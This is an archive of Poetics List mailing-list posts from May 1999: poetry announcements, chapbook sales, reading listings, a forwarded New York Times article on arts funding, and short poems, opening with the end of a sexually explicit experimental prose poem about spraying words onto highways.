I'm getting a big Chevy New Yorker, 1973, tan with beige linings, and I'm putting in a drag plate understructure - I'm going to rig the plate with paint sprayers, 64 across - they run from the tanks of white acrylic dry- fast in the trunk - there's heat nozzles too - make sure nothing's left damp as the car heads down the nighttime highway in the middle of the night. there's a computer, too - old Pentium 100, tied to the sprayers - there's a program running - I just enter the words I want out - the prog- ram adjusts for the car speed - words appear good and hard on the pave- ment - they're ready-to-read - there are a couple of fonts as well - the whole thing can work from 0 to 55 miles an hour - it starts to blur after that - I'm on the way north from Lafayette Indiana - I spray YOU PUT YOUR BIG DICK IN MY HUNGRY HOLE - it's about a quarter-mile in length - next day on the news - I'm out of there - down through Dallas, Texas, right on the way to Fort Worth - there's a trucker on my right, bearing down - I've got to be careful - I SWALLOW YOUR COCK AND DRINK YOUR HEAVY CUM - appears under the car - just like that - the program's perfect - it's the same thing I sprayed in the Lincoln Tunnel, New Jersey to New York City right- hand lane - that made the news as well - had to get out of town - the Chrysler spotted - outside Albuquerque - _that_ was a ride - heavy on the gas all those altitudes - nice yellow-white touch in the tanks - AMERICA I WANNA BE YOUR GREEDY HOLE = FUCK ME IN MY MOUTH - even the equal sign was clear - I was going 45, almost got knocked out by a minivan - so I do go all over America - just like that - go everywhere I want - WORDS WORDS WORDS between Seattle and Bellingham - MY COCK IS ALWAYS HUNGRY FOR YOUR CUNT - awkward sentence between Providence and Fall River - do a country road or two as well - DON'T TELL ANYONE - or LOVE ME TIL THE COWS COME HOME - so I'm WRITING ON AMERICA - WORDS ON THE ROAD - so I'm LEAVING MY MARK - so I'm LEAVING MY TRACE - wherever you are YOU'LL BE READING ME - I'M HOT AND HORNY AND I WANT _YOU_ - and YOU'RE HOT AND HORNY AND YOU WANT _ME_ - outside of Omaha - near the Strategic Air Command Museum - those tiny roads - keep a lookout - I'm moving on - listen to the news - Scran- ton Pennsylvania - LISTEN TO THE NEWS -

---

↑ Index

14. ken|n|ing
e-mail change, impending
Mon 3 May 1999

Hello all, Well, contrary to promises rendered in a post of a couple weeks back, Kenning's spring issue is delayed another week or so. Just in time to be lost in the midst or just post semester finals and academic exodus all across poetry-ville. I recommend sending lots of money my way. In lieu of lavish donations, send an email to my new address [redacted] requesting information about the magazine and I will forward an attachment with just such details. This new address should be used for all subsequent correspondence as pertains to the magazine. Also, look for a Kenning website to be announced soon. Patrick F. Durgin

k e n n i n g_____ a newsletter of contemporary poetry poetics & nonfiction writing

418 BROWN STREET #10 IOWA CITY IOWA 52245 USA

↑ Index

15. Ron Silliman
Putting your money where...
Mon 3 May 1999

---

from today's Gnu Yawk Thymes,

May 3, 1999

Private Donors Unite to Support Art Spurned by the Government

By JUDITH H. DOBRZYNSKI

Nearly two dozen foundations and philanthropists, reacting to cuts in federal arts spending, have joined forces to support artists who challenge convention. The new group will attempt to make up for some of the individual grants the federal government ended in 1994 after years of controversy over works dealing with nudity, sexuality and other provocative themes.

The new nonprofit organization, called Creative Capital Foundation, will be announced officially next week. But it has already made it clear that it will not shy away from the kind of innovative art that incited protests by religious and political conservatives.

"This is a boisterous, diverse country, and we have always had art that upsets people," said Archibald L. Gillies, president of the Andy Warhol Foundation for the Visual Arts and one of the new group's organizers. "Controversy," he added, "won't bother us at all."

Creative Capital hopes to raise $40 million over the next 20 years. With current assets of more than $5 million, it plans to make its first round of grants, totaling up to $1 million, early next year.

The organization will actively proselytize for freedom of expression. The grants it plans to give each year to 50 to 60 artists will requiring the winners to work with experts to develop audiences for their art and to market it.

At its peak in the late 1980s the National Endowment for the Arts awarded as much as $10.5 million a year to more than 750 individual artists in grants of $1,100 to $45,000. But since then the endowment has almost been eliminated several times by members of Congress upset by those grants and by what they said was the agency's distance from American values. It has survived, but with a budget cut nearly in half from its peak to $98 million in the current fiscal year and no appetite to make awards that would restart the cultural wars of the last decade.

Creative Capital is stepping into that breach. "The Supreme Court has ruled about pornography, but anything beyond that is fair game," Gillies said. "In this organization's absolute principles, one comes first and that is funding experimental, challenging art on its merits. Then after selecting it, we see what the marketing potential is. The nature of the content is not a factor."

With such talk, Creative Capital is throwing down the gauntlet to conservatives who in recent years have tried to shut down some exhibitions and performances. Though the fights have most often been about public financing of controversial art, mainly by the endowment, some conflicts have also centered on state and local arts grants and the commercial availability of provocative art.

The president of the Christian Coalition, Randy Tate, said on learning on Friday of the new group: "I won't condemn anything until I see it, but I would hope they use great discretion and put forward images that strengthen society and family values."

The group's grants come with a twist straight out of Wall Street and reflecting the business background of some backers (like Jeffrey Soros, nephew of George Soros, the billionaire financier). Grant winners must agree to share a portion of proceeds from their project. The cash will go back into Creative Capital's kitty, increasing its capacity to finance additional artists.

The Warhol Foundation, with a pledge to give $400,000 a year for the next three years, is Creative Capital's largest contributor. Others, including the Norton Family Foundation, the Rockefeller Foundation, the Joe and Emily Lowe Foundation, the Joyce Mertz-Gilmore Foundation and the Eli Broad Family Foundation, have each promised up to $100,000 a year.

Creative Capital's executive director, Ruby Lerner, said contributors knew that the group would seek out and not shrink from artists like Karen Finley, who often performs in the nude and famously smears her body in chocolate; Robert Mapplethorpe, whose homoerotic photographs offended many, and other artists who caused headline-making conflicts.

Ms. Lerner said she told the contributors, "We might get through the first 20 years and not have a single controversy, but we might have 50 of them in the first year."

Creative Capital plans to award grants of $5,000 to $20,000 to performing, visual and film or video artists, as well as those who make hybrid works. The money will be split roughly equally among the four categories each year.

In the hope that the culture wars are over, William J. Ivey, the national endowment's new director, has put in a $150 million budget request for the next fiscal year, up $52 million from the endowment's current allocation, and has raised the possibility of resuming individual grants. But he has made no promises about when that might happen.

Supporters of the arts say they cannot wait. "The arts are filled with energy, yet sources of public finance are more and more precarious," said Catharine R. Stimpson, dean of the Graduate School of Arts and Science at New York University. "The important issue is supporting creativity."

Ms. Stimpson has agreed to serve on Creative Capital's board, as have Laurie Anderson, the performance artist; Lewis Hyde, the writer; Ronald Feldman, a New York art dealer, and Louise A. Velazquez, a senior business adviser at the Interval Research Corp., a Silicon Valley company that is trying to engage the arts and high-tech in new ventures.

As the first big, national response to cuts in endowment grants, Creative Capital could make a difference. But he and others agree that an equally important effect may stem from the attempt to enlarge the audience for contemporary art. "Whenever individuals engage art and artists in a personal way with good interpretation and explanation, it always expands the audience," Ivey said.

Gillies described the process that Creative Capital's founders envisioned as broader than marketing. "We will ask, 'What does this project need to succeed, what does an artist need to get to the next level?"' he said.

Artists will get individual advice from an array of volunteer curators, producers, publicity agents and others who can help artists devise a plan to present their work to the widest possible audience.

That plan helped woo contributors. "Emerging artists get a lot of one-time cash awards, but this affords them something else," said Dini S. Merz, a program officer at the Emily Hall Tremaine Foundation, which is giving $300,000 over four years. "It will answer the question 'How can we help artists help themselves?"'

But will artists agree to such interference, and an untested idea at that? Yong Soon Min, a Korean-born artist who lives in California and is known for politically charged, feminist work, said she had no problems with it. "A marketing plan can be very helpful," she said. Rather, her concerns centered on Creative Capital's administrative ability to deliver on the promise.

Creative Capital has had with artists around the country not a single one has raised objections.

The revenue-sharing requirements apparently did not disturb anyone either, though the details are sketchy. Ms. Lerner said they would be worked out individually with each grant agreement, and Gillies said Creative Capital would probably ask for 10 to 15 percent of a project's gross revenues. Creative Capital would also have a cut if, say, a film, video or performance moved from a nonprofit space to a commercial theater, as the musical "Rent" did, for example.

The group has other plans to shore up the nation's artistic infrastructure: an annual retreat for grant recipients, a quarterly publication, a database of arts businesses and nonprofit groups, public events and a Web site where artists can sell their art.

All that is in the future. Creative Capital, with its small staff, first has to hustle to erect a structure for doling out money. Ms. Lerner is sending staff members into studios, theaters and other arts centers looking for prospects, is soliciting nominations from arts experts and on July 1 will start accepting applications from artists.

Those who make the initial cut will be asked for work samples, a detailed budget for their project and a schedule. The applications will go through a peer panel review process, with the winners chosen or approved by the trustees.

Ideology aside, Gillies said the winners would have projects that have artistic merit, not simply shock value.

"It's not that we'll support everything controversial," he said. "We will support what people across the country are saying is good art, is exciting, interesting art."

↑ Index

16. Joel Lewis

f.y.i.

Mon 3 May 1999

 Fabio rests after bird accident

BEVERLY HILLS, Calif. (AP) - Fabio was resting at home after being smacked in the face by a goose while riding a roller coaster at the Busch Gardens theme park. "I am grateful for all the cards and well wishes," the supermodel said in a statement issued Thursday through his manager, Eric Ashenberg. Fabio was at the Virginia theme park Tuesday to help show off the Apollo's Chariot roller coaster. The park had promoted the event as "Modern-Day 'Adonis' vs. Ancient-Day 'Sun God.'" Early into the ride, a bird slammed into his face. Fabio was treated for a one-inch cut on the bridge of his nose and released from a hospital. See http://www.infobeat.com/stories/cgi/story.cgi?id=2559029108-e41

↑ Index

17. aerialedge

Announcing _Aerial 9: Bruce Andrews_ & Edge Books / Protective Immediacy Special Offer

Mon 3 May 1999

NOW AVAILABLE

Aerial 9: Bruce Andrews
ed. Rod Smith, Edge Books, 296 pgs.

Regularly $15 available postpaid to Poetics folk for $10 til June 1.

Essays, interviews, poetry by: Bruce Andrews, Kevin Davies, Jeff Derksen, Jed Rasula, Jerome Sala, Hank Lazer, Rachel Blau DuPlessis, Benjamin Friedlander, Lyn Hejinian, Nick Piombino, Andrew Levy, P. Inman, Sally Silvers, William Fuller, Tina Darragh, D S Marriott, Dodie Bellamy, Craig Watson, Robert Fitterman, Doug Lang, Lee Ann Brown, Hannah Weiner, Tim Davis, Joan Retallack, Andrew Chandler, Judith Goldman, Peter Seaton, Jacques Debrot, Robert Mittenthal, Mark Wallace, Marjorie Perloff, Peter Quartermain, Jerome McGann, Alan Golding, Charles Bernstein, & Steve Evans. Cover by Dirk Rowntree.

Also receive any of the following books for $7.50:

Protective Immediacy, Rod Smith, regularly $9.95. Just out from Roof. _Integrity & Dramatic Life_, Anselm Berrigan, regularly $10. _Sight_, Lyn Hejinian & Leslie Scalapino, regularly $12. _perhaps this is a rescue fantasy_, Heather Fuller, usually $10. _Nothing Happened and Besides I Wasn't There_, Mark Wallace, most often $9.50. _Stepping Razor_, A.L. Nielsen, says $10 on the back.

To order. Email [redacted] w/ yr order & address & we will bill you. Or send a check to Aerial/Edge, POBox 25642, Washington, DC 20007. Before June 1!

Thanks.

↑ Index

18. Brenda Ellen Uchman
_Person (a)_
Mon 3 May 1999

Dear Poets;

A limited number of _Person (a)_, a self-published book of 96 poems by me, Brenda Iijima, are still available. I completed _Person (a)_ in the last days of December, 1998. Each book contains a hand drawn frontispiece and an original album cover with spray painted title. _Person (a)_ was conceived as an edition of 76 copies.

A copy costs $20

Please send orders to:

Brenda Iijima
596 Bergen Street
Brooklyn, NY 11238

This email address will be obsolete after today, today being my last day of work in the Sociology Dept. at Columbia University.

My new email is [redacted]

Yours, Brenda

↑ Index

19. Edward Foster
Symposium on the Work of William Bronk
Mon 3 May 1999

Call for Papers:

A symposium on the work of William Bronk is being organized by David Clippinger, Burt Kimmelman, and Ed Foster for the week-end of November 12-14, 1999. The symposium will be held at the Stevens Institute of Technology in Hoboken, New Jersey (directly across the Hudson from midtown Manhattan).

If you would be interested in presenting a paper on Bronk's work or participating in the symposium generally, please contact the symposium organizers at [redacted]. If you would like to present a paper, please send the title and a brief summary to Ed Foster, Department of Humanities, Stevens Institute of Technology, Hoboken, New Jersey.

A selection of papers read at the symposium will be published as a book the following spring.

↑ Index

20. aerialedge
Bridge Street Books
Mon 3 May 1999

Sunday May 9 @ 8 PM

Lee Ann Brown
& Tom Raworth

Celebrating tehir new books _Polyverse_ from Sun & Moon, & _Meadow_ from Post-Apollo.

Sunday May 23rd @ 8 PM

Bruce Andrews

Celebrating _Aerial 9: Bruce Andrews_.

Bridge Street Books
2814 Pennsylvania Ave NW
Washington, DC
ph [redacted]

5 blocks from the Foggy Bottom Metro

ya'll come

↑ Index

21. Christopher Reiner
Witz Online
Mon 3 May 1999

I'm trying a online experiment--putting an issue of Witz on the website in Acrobat format (http://www.litpress.com/witz). This is a complete issue (Summer 1998), formatted for print publication. It has Peter Quartermain's essay on Bruce Andrews's _Lip Service_, Juliana Spahr on Nick Piombino's _Light Street_, Guy Bennett on Liz Waldner, Standard Schaefer on Martha Ronk, and Brian Lucas on Normal Cole.

To read this electronic version, you will need the Adobe Acrobat reader. If you don't have the Reader, you can find it at Adobe's website (there's a link on the Witz page). But the Reader is a long download (I think it's around 5MG), so I don't really recommend getting the software just for this purpose. Many of you will already have the Reader, though; and many have already downloaded something in Acrobat format.

If you do download the file, I would appreciate a note (backchannel), to let me know if you had any technical problems (e-address is [redacted]).

If this works, I'll put more issues up in electronic format.

(By the way,, Witz is a journal of contemporary poetics, featuring only essays, reviews and criticism. Online queries are accepted, but not submissions.)

--

Christopher Reiner

WITZ: A Journal of Contemporary Poetics
http://www.litpress.com/witz/

↑ Index

22. Poetics List

list stats

Mon 3 May 1999

These are statistics of Poetics List subscribership as of this afternoon. Chris

```
*  Country                Subscribers
*  -------              -----------
*  Australia                   13
*  Belgium                      2
*  Canada                      39
*  Finland                      1
*  Germany                        1
*  Great Britain                 24
*  Ireland                      4
*  Italy                       1
*  Japan                        8
*  New Zealand                     10
*  Poland                       1
*  Singapore                      1
*  Spain                        2
```

```
*  Sweden                    4
*  Switzerland                 2
*  Thailand                   1
*  USA                      616
*  Yugoslavia                  1
*
* Total number of users subscribed to the list:    733
* Total number of countries represented:           18
```

↑ Index

23. Chris Stroffolino

Re: STUCK IN SELF-PROMO WITH YOU

Mon 3 May 1999

9pm.....

On Sat, 1 May 1999, Rebecca Wolff wrote:

> what time, Chris . . . .?

↑ Index

24. cris cheek

Re: Cork 99 (apologies for cross posting)

Mon 3 May 1999

Big thanks to Randolph for his Cork(ers). My spare liver came home on the plane in a bag and has now been resituated successfully, acting as a bilge pump to our garden pond. An instance of 'we' I'm happy to sanction.

I wanted to say up here on the big public spaces how energising the Cork Conference was / is. Sure, it rained a drop. Trevor Joyce's house overflowed with hospitalities. Nourishments ranged from the Cafe Paradiso to AbraKebabRa.

But (not despite but due and thanks to that) - the poetry and the poetics was sound the way through; extremely strong readings, provocative papers, buoyant exchanges. Anybody with half a mind to go next year (and I believe there will be a next year) should put it into their priority commitment calendar on the front-burner right now.

Modesty forbade Randolph from commenting on his own reading, so I'd like to add to his otherwise generous account that, despite two cracked ribs and a savagely bitten tongue, he gave a terrific presentation of the anagrammatically encrypted 'The Republic of Ireland' (itself taxing the ribs of those present), various excerpts from '25 Poems', 'Flame' and the chilling closing section of his more recent 'Scales' that leaves only the word 'whereas' proud of dense blocks of erasure on what I understand to be the United Nations Charter. I'm left still wondering in what ways to transact 'Satin Mac In Sale' to the coastline and its offshore reaches below the walkable twists of Cork City itself.

many thanks and greetings to all

love and love
cris

↑ Index

25. Maria Damon
Re: Request for Poem Ideas
Mon 3 May 1999

---

hi alan! of course i think first of Stein's "How to Write," and her children's book that starts, "A dog said he was going to learn to read." and to one (picasso?) that ends "history teaches/ history teaches." stein, it seems, is all about pedagogy. My Life, too, seems full of lessons about how to read it. Rimbaud's Voyelles (sp?) seems like a very poetic ABCdary of a sort, and Baudelaire's "COrrespondances" seems to be about how to read as well. In Lois Ann Yamanaka's Saturday Night at the Pahala Theatre, there's a poem in which one teenaged friend teaches another how to self-mutilate by cutting, which seems to me to be a writing lesson as well, a poetics of pain. then speaking of writing lessons, there's Derrida's famous writing lesson in Of Grammatology, which isn't strictly speaking a poem, but could just as well be. ditto for Foucault's "The Discourse on Language." gee i didn't know i had so much to say about this, but it actually sounds like the good basis for a poetry course! see u at bard...

At 4:29 PM -0400 4/30/99, Alan C Golding wrote:
>Dear Listmates:
>
>I'll be giving a talk at the "Poetry and Pedagogy" symposium at Bard in >late June, and am planning to talk about poems that respond to or come out >of a pedagogical situation or that take a pedagogical stance. Taking off >from the aphorism in My Life that "the avant-garde is always >pedagogical," my focus will be mainly--but not exclusively--on >linguistically innovative (or whatever you want to call 'em) texts.
>Historical range is post-World War II, going from 1950s examples like >Snodgrass' "April Inventory" and Olson's "Letter for Melville 1951" >through something like Snyder's "What you should know to be a Poet" up >through some of Howe's library- and scholarship-centered texts and >Perelman's "Marginalization of Poetry." The governing question of the >inquiry is something like this, then: How has "pedagogy," and pedagogical >institutions, been treated in poems of this period, and what >might the answers >to that question suggest for transforming current pedagogical practice, >for the teaching of challenging contemporary work, and for our >understanding of such issues as the relationship between innovative >writing and the academy?

>
>I'd like to draw on your collective knowledge / wisdom to generate as many >examples as possible of poems related to this set of concerns. I'm mostly >interested in U.S. examples, but would also like to hear about Canadian, >British, Oz, etc. examples too. I want to distinguish between >"pedagogical" and "didactic" too, so am a bit less interested in examples >of the latter (i.e., Olson preaching to Gloucester, say).
>
>Anyway, I'd much appreciate hearing from you: front channel if you think >the list would be interested and the list-meisters agree, or backchannel >at one of these addresses: [redacted] or >[redacted].
>
>And many thanks.
>
>All best,
>
>Alan
>_____
>
>Alan Golding
>University of Louisville
>
>[redacted]
>[redacted]

↑ Index

26. Maria Damon
mekas on weiner
Mon 3 May 1999

Steve Waksman, a former student of mine, e-mailed the following, which i know to be of interest to some on the list. keep an eye out, too, for Waksman's book, coming out in the late fall from Harvard UP: Instruments of Desire, which is a cultural history of the electric guitar.

SW: I came across this while leafing through a collection of movie notes by Jonas Mekas, one of the main organizers of the "independent" film scene in New York from the 1940s to the present. Assuming it's the same Hannah Weiner you wrote about. Did you know she made films (or at least, a film)? This is dated April 30, 1970:

Foot, by Hannah Weiner. Three minutes. Eight mm. Shown by Gain Ground Group, Thursday, April 23, at 80 Wooster Street. Autumn colors. Woods. A glimpse of one foot, then another. A foot coming into the frame and out, again into the frame and again out -- as someone walks through the woods. Only the front half of the shoe, a sandal of some sort, light blue and white, in the overexposed color. A perfect haiku. A film haiku, a short, one idea, or one image film. This silly, unpretentious little 8 mm. movie by Hannah Weiner is a much more important and more successful and more beautiful and more memorable work of film art than, say, The Man Who Lies, Mississippi Mermaid, or The Early Works. People will say: How can you compare them? One is an 8 mm. nothing, and the others are big movies. Grillet, Truffaut failed within their genre, within their form; Weiner succeeded, didn't fail, within her genre, within her form. Through Hannah Weiner's little movie one gains an aesthetic experience; through the others one gains nothing. In art, it doesn't make a bit of difference how big the undertaking: A failure is a failure. Hannah Weiner's Foot is the best movie I've seen since Ozu's I Was Born, But...

↑ Index

27. Noam Scheindlin

You Won't Find This At Barnes and Noble

Mon 3 May 1999

My new chapbook, The Proper Conditions for Flight, published by my very own G-Train press in a limited edition of 65, has just become available. Price for Poetics List is $5.

You can email me for orders and I'll send you one with a bill, or write to me:

Noam Scheindlin
100 Kent Street #3R
Brooklyn, NY 11222

Don't be left behind!
Look for future titles (by people that are not me) from G-Train books.

Best,

Noam

↑ Index

28. Alan Sondheim
Generations
Mon 3 May 1999

==

Generations

Of the beat generation, I'm, of Keruac's roadtrips, Ginsborg's screams Of the lost generation, of language's blank eyes & heartless suns My generation's smeared across the void My generation's crossed with yours, X's, Y's, wise Z's & Zeros too Of the punk generation, anger's energetic PILs & Gang of Four Humans Of the yippies, yr violent letters of revolution & Jennifer-fervor Of the cyborg generation, I'm, of Jennifer's sweet & sweaty arms Of the cyborgs, @create $thing called Alan @describe Alan as gone-world & of the holocaust generation, I'm, just look into my eyes Of the generation of Mariko Mori, hey Nikuko, I'm yours forever And of the gone-world, I'm, a generation of $things from #1 roots Of the hippies, I'm all for long lean sounds backing my heavy head Of my family's generations, I'm, crawled through European savagries only to emerge with blank generation's eyes crossed X's out & lost You'll find me everywhere, submerged in your hot worlds I swallow your generations, make them mine, nothing out of line Generations on generations, onto the seventh & beyond Generations of humans & others, generations of plants & biospheres Generations of rocks & prions, generations of airs & liquid canyons I'm there in anything you can name, any place & any time Of the blank, I'm, saying, blank, saying crossed out, saying wow

---

↑ Index

29. Wystan Curnow
address antin
Tue 4 May 1999

Dear everyrone,

have you an emailaddress for David Antin?

Wystan Curnow

↑ Index

30. George Bowering
Re: Bedight and fillyness
Tue 4 May 1999

Pete

Thanks tremenjously for sending along yr re-tired speech.

It was even better than I suspected when you glinted yr eye at mine.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

↑ Index

31. Sarah Hreha

Patchen news : Harry Redl pictures of Patchen and the Beats

Tue 4 May 1999

I thought this might be of interest to some..

--- begin forwarded text

Subject: Patchen news : Harry Redl pictures of Patchen and the Beats
Date: Mon, 03 May 1999 01:52:45 GMT
Organization: http://www.connectotel.com/
Reply-To: [redacted]

The photographer Harry Redl now has a web site showing his famous photos of the San Francisco Renaissance, including a photo of Kenneth Patchen with Lawrence Ferlinghetti. More pictures of Patchen are promised in the near future.

The Harry Redl page can be found at http://harryredl.com

regards
Marcus Williamson
http://www.connectotel.com/marcus

--- end forwarded text

A. Sarah Hreha
Assistant Editor
Hispanic Issues
Dept. of Spanish and Portuguese
University of Minnesota Officer, Students for Cuba
Co-Chair, Tone Scientists
E-mail: [redacted]
http://www.tc.umn.edu/~hreh0001

↑ Index

32. Chris McCreary
address requests
Tue 4 May 1999

Hello--

Thanks in advance to anyone who has either/both of the following:

1. an e-mail or mailing address for Anne Waldman in NYC

2. an e-mail address for Michael McCool

Please backchannel. Thanks again...

--Chris McCreary

↑ Index

33. dbkk
Berkson/Friedman at SPT
Tue 4 May 1999

Small Press Traffic presents

Life/Forms:
New Ways to See It, New Ways to Say It

A weekend "residency" with Bill Berkson

Friday, May 7, 7:30 p.m.
Reading with Michael Friedman
New College Cultural Center
766 Valencia Street
$5

Saturday, May 8, 7:30 p.m.
Autobiographical Talk: "Since When"
New College Cultural Center
766 Valencia Street
$5

"Special care is language, and fusing things going on in him and on his personal tv." So wrote Ted Berrigan in Kulchur magazine about BILL BERKSON's first book, Saturday Night: Poems 1960-61. Berkson's trajectory has led him from youth along uptown Manhattan's Museum Mile to ecstasies on the Lower East Side, onward to the Bolinas mesa (where he edited Big Sky magazine and books), and from there to the upper reaches of Noe Valley, S.F. Other books strewn along the way: Shining Leaves, Recent Visitors, Enigma Variations with drawings by Philip Guston, Blue Is The Hero, Start Over and Lush Life. Besides occupying a stellar niche in contemporary American poetry, he is an art critic, sometime curator, and, since 1984, professor of art history at the San Francisco Art Institute. For this residency, Bill Berkson will read poetry from his forthcoming book Fugue State (1990-99) and the full text of a revealing and often humorous autobiographical essay entitled "Since When."

MICHAEL FRIEDMAN grew up in New York City and now lives in Denver. His books include Arts & Letters (drawings by Duncan Hannah) (The Figures, 1996), Cameo (The Figures, 1994), Special Capacity (Intermezzo, 1992), Distinctive Belt (Mary House, 1985). Hard Press/The Figures will publish a large collection of his prose poems in the fall. He has edited Shiny Magazine since 1986, bringing out 8 issues between 1986 and 1992. Now, after a long hiatus, and with a somewhat different cast of characters, a new, guest-edited issue has appeared and he plans to continue this work. "There are two sides to every story," Friedman reminds us. "One well done, one medium rare." His own poetry is drenched in wit, and brio; its narrative mysteriously tangled with anxiety and alterity. A natural melancholia attaches itself to the underside of the poem, like Kate Winslet going back onto the Titanic after Leo's made sure she's safe in the lifeboat.

↑ Index

34. Fred Muratori

Re: Request for Poem Ideas

Tue 4 May 1999

> Dear Listmates:
>
> I'll be giving a talk at the "Poetry and Pedagogy" symposium at Bard in late June, and am planning to talk about poems that respond to or come out of a pedagogical situation or that take a pedagogical stance.
>
> Alan

There are of course Nick Piombino's wonderful parodies of the pedagogical/academic explication of poetry in _The Gertrude Stein Awards in Innovative American Poetry_ -- I think the 93-94 volume; they're the lead-off poems.

-- Fred M.

****

Fred Muratori
([redacted])
Reference Services Division

Olin * Kroch * Uris Libraries
Cornell University
Ithaca, NY 14853
WWW: http://fmref.library.cornell.edu/spectra.html
****

"The spaces between things keep getting bigger and more important." - John Ashbery

↑ Index

35. Lowther,John potentially relevant to the buffalist ?
Tue 4 May 1999

---

chris a/ poetix

i've pulled this from a piece joe ransdell wrote to the musikeion list (musical semiotics) as it was going in directions i've been thinking along as well relative to the poetix list

ransdell;

> What I have in mind by this distinction is this: a forum is (like) an open space in the midst of a place having the character of a city (large or small) where many different people are engaged in many different and largely uncoordinated activities. What link them together are overlaps of interests that arise from the fact that there are resources there which all make use of in some way or another, although no given individual necessarily makes use of much if any of the resources that another one does, and may have very little if any of the same interests as another. But still, there is a unity of a heterogeneously constituted place of this sort that is given by the fact that everyone has at least a vague idea of the resources available there and thus of a likely reason why anyone else is there, and in the absence of knowledge to the contrary one naturally assumes of any given other person that there is some overlap of shared interests with them, even though one does not know what it is. This vagueness and ignorance, taken together with an optimistic spirit, provides enough for the people in that place to regard themselves as having something in common: the heterogeneously constituted place itself in its very heterogeneity.
>
> Now, whatever the original resource basis is, the people who are making use of the resources become resources themselves for other persons there, too, and since one never knows whether another person might not be a resource of special interest to oneself, it comes about that simply being a fellow citizen in the city is enough in itself to make each such person a kind of epitome of the whole city. This is, perhaps, the basis > of the sense of identity with the city that people develop, especially in the case of cities with a very strong "personality", such as, say, Paris or San Francisco, where there is a common appreciation of one another as fellow citizens of that city. I think it holds with slackened force, perhaps very attenuated at times, in any city, but may be too feeble at times to be easily noticeable. (Los Angeles is an interesting case of extreme attenuation of what it is to be a city: a city unified as such only by the common consciousness there of it as not being "a real city" but only a sort of sham city, a celluloid Ersatz, owing to the extreme to which personal attitudes of egoism, exploitation, rapacity, and greed are taken for granted as normal there: the citizen as resource takes on the special form of being a prey. This is why the police have such an extraordinary public persona there, which is not because of the amount of crime or because of THEIR corruption -- as, say, in the case of Chicago -- but because of the normality of corruption.)

>
> A list that is based on the forum model is like this, in contrast with a discussion group, as that is usually understood, which means a group with a more or less generally understood agenda to which its members are expected to contribute and conform. Thus one mark of the forum as such is that there is no expectation that everybody has to find every message relevant to their interests and one thus feels free to ignore or simply zap away whatever is thought to be impertinent. Forums are essentially multi-threaded, in other words, whereas discussion groups are characteristically focused and disciplined in a way forums are not. There are strengths and weaknesses of both, but the public forum hardly exists anywhere now except on the internet, which is why people tend on the whole to prefer the forum to the discussion group: there is a need for it.

↑ Index

36. emgarrison

Pen

Tue 4 May 1999

---

what power

of the written word

?
just so many many syllables

slipping

and tripping the mind to what end
?
futility
in a bottle
?
someone get me a fucking corkscrew.

↑ Index

37. derek beaulieu / house press

filling Station presents: the BIG Tour!

Tue 4 May 1999

fILLING STATION Magazine is proud to present a FREE reading by kath macLean, rob mclennan and Anne Stone

"The Big tour"
May 15th 7:00pm
The New Gallery, 519d 9th ave sw, calgary

kath macLean is originally from Toronto. Her poetry & prose have appeared in CV2, Fiddlehead, Fireweed, Wascana Review, Other Voices, Amethyst Review, & is forthcoming in Vintage 97. "For a Cappuccino on Bloor & Other Poems" was published by Broken Jaw Press in June 1998.

rob mclennan was born in Ottawa - the author of over 2 dozen poetry chapbooks, his first full collection, "Notes on Drowning" appeared with Broken Jaw Press in May 98. A second, "bury me deep in the green wood" is forthcoming with ECW in spring 99, & a third, Manitoba highway map has just been accepted by Broken Jaw Press for summer 99.

Anne Stone is a Montreal prose-writer. Her work has appeared in Index, Matrix, and The Moosehead Anthology of Prose Poems & Sudden Fictions. A selection of her writing appeared in the chapbook "Sweet Dick

All". She has performed at galleries and spoken word venues in (and out of) Montreal - "jacks: a gothic gospel" (DC Books, 1998) is her first novel.

contact:
derek beaulieu at
[redacted]
or [redacted]
for more information

↑ Index

38. Katherine Lederer
East Coast address for The Germ?
Tue 4 May 1999

Hi,

I'm trying to get the current address for The Germ. I only have old Santa Cruz address.

Thanks,
Katy

↑ Index

39. Chris Stroffolino
Re: STUCK IN SELF-PROMO WITH YOU
Tue 4 May 1999

OOPS (the title of the first book, published by Dave Baratier)! The Printer at HARD PRESS had some problem with the lamination on the cover when the book was being bound.....

so....

the thursday night event at TRANS HUDSON (416 west 13th st., meatpacking manhattan) will not be a book signing after all

just a plain old reading

by a so-called "cynical" poet who cried wolf

come as you are....

c

On Mon, 3 May 1999, Chris Stroffolino wrote:

> 9pm.....
>
> On Sat, 1 May 1999, Rebecca Wolff wrote:
>
> what time, Chris . . . .?

↑ Index

40. Daniel Kane
Lee Ann Brown on WriteNet
Tue 4 May 1999

T & W features poet Lee Ann Brown's lesson plan on teaching poetry via the creation of slang journals. Adapt her ideas for your own classrooms, and check this page for further updates.

---------- Go to:

http://www.writenet.org/fwir_labrown.html

↑ Index

41. Daniel Kane
Cornelius Eady on WriteNet + self promotion
Tue 4 May 1999

For those of you who may be interested:

This month, Cornelius Eady talks about his poem "Thelonious Monk" published in his book The Gathering of My Name. He discusses how students can think about incorporating music as content into their poetry. We encourage you to bring his poem into your classroom and share it with your students.

PLUS -- I and poet Julie Carr will be reading this Thursday, May 4, at Donnell Library, 20 West 53rd Street, NYC, at 6:30 pm. Across from MOMA.

↑ Index

42. Leonard Brink
Gene Frumkin
Wed 5 May 1999

Falling into Meditation a chapbook
by Gene Frumkin
is now available from Instress

Sheila E. Murphy says of Frumkin's new and selected poems _The Old Man Who Swam Away and Left Only His Wet Feet_ "Gene Frunkin brilliantly and genuinely conceives work that invites repeated reading and deepens with each new exposure...To read Gene Frumkin is to renew faith in the power of language to crystallize experience in a transformative way. This work is supremely satisfying, integrating genius and humility in writing and living."

Falling into Meditation can be had for $4, postage paid. Checks should be made payable to Leonard Brink, PO Box 3124, Saratoga, CA, 95070

↑ Index

43. derek beaulieu / house press

[sic]... May issue now online!

Wed 5 May 1999

Greetings from [sic]

May 1st rolled around and lo and behold [sic] managed to update, so far so good. This issue has four new features, including work by derek beaulieu, Neil Hennessy, Thomas Bell/Dmitri Bulatov, and myself/Scott Woods. Also new this month is an early version of the Small Press Directory, with press entries from Calgary to Columbus, from San Fran to Reykjavik.

Most notably though, [sic] has moved over the last month. Venturing out of Popped's basement apartment, [sic] got a place of its own downtown, the new address is...

http://www.sicmagazine.com

We continue to need/want submissions, both to the magazine, as well as to the directory, information is available online. We'll be coming door to door shortly, please give generously.

Enjoy,
lucas mulder [sic] magazine
http://www.sicmagazine.com
* to be removed from this list please reply with nasty comments ****

↑ Index

44. Mark Wallace

